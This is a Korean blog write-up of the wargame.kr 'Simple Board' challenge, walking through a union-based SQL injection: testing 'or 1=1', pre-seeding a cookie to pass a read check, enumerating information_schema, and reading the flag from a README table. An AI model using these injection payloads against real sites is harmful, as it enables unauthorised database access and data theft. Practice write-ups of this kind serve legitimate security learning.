본문 바로가기
Hacking/wargame.kr

[wargame.kr] Question 15. Simple Board

by 알거음슴 2021. 7. 19.

Question 15. Simple Board

문제

Simple Union SQL injection Challenge.

(but you need script... maybe?)

 

 

풀이

문제 접근시 리스트 및 누른 횟수 등이 나오는 페이지가 제공된다, view source 를 통해 소스코드를 확인 할 수 있다.

 

 

TITLE 내 버튼을 클릭 시 idx= 값이 변경되며 4 이후의 값을 넣으면 빈 리스트가 제공된다.

 

 

read.php?idx=5 or 1=1

구문을 삽입 시 1번 리스트가 나오는걸로 Injection 공격이 가능한 것으로 확인된다 구문 삽입을 통해서 DB의 정보를 얻어보자.

 

계속해서 구문을 입력했으나 query error 을 계속 출력하는걸 확인할 수 있다, 최초 제공된 소스코드를 한번 확인해본다.

 

 

코드를 확인해 보면 error의 이유를 알 수 있다, read_chk($idx) 를 보면 쿠키값에 /$idx 을 통해 검증작업을 진행하고, 검증 되지 않으면 read$idx 를 통해 정상적으로 작동되지 않도록 되어있다.

 

 

Edit cookie 를 통해서 쿠키값에 /5 union select 1,2,3,4 구문을 쿠키에 미리 추가하고 다시한번 Injection 구문을 삽입해본다.

 

 

read.php=5 union select 1,2,3,4

구문이 정상작동하여 columns 수와 함깨 출력 위치들을 확인했다. 같은 방법으로 지속하여 다음 구문도 삽입해본다.

 

 

read.php=5 union select 1,2,3,table_name from information_schema.tables

README 라는 테이블이 확인된다.

 

 

read.php=5 union select 1,2,3,column from information_schema.columns

이번엔 flag 라는 column 을 확인했다, 두 값을 조합하여 flag 안의 내용을 확인해본다.

 

read.php=5 union select 1,2,3,flag from README

성공적으로 플래그가 출력되며 제출 시 통과할 수 있다.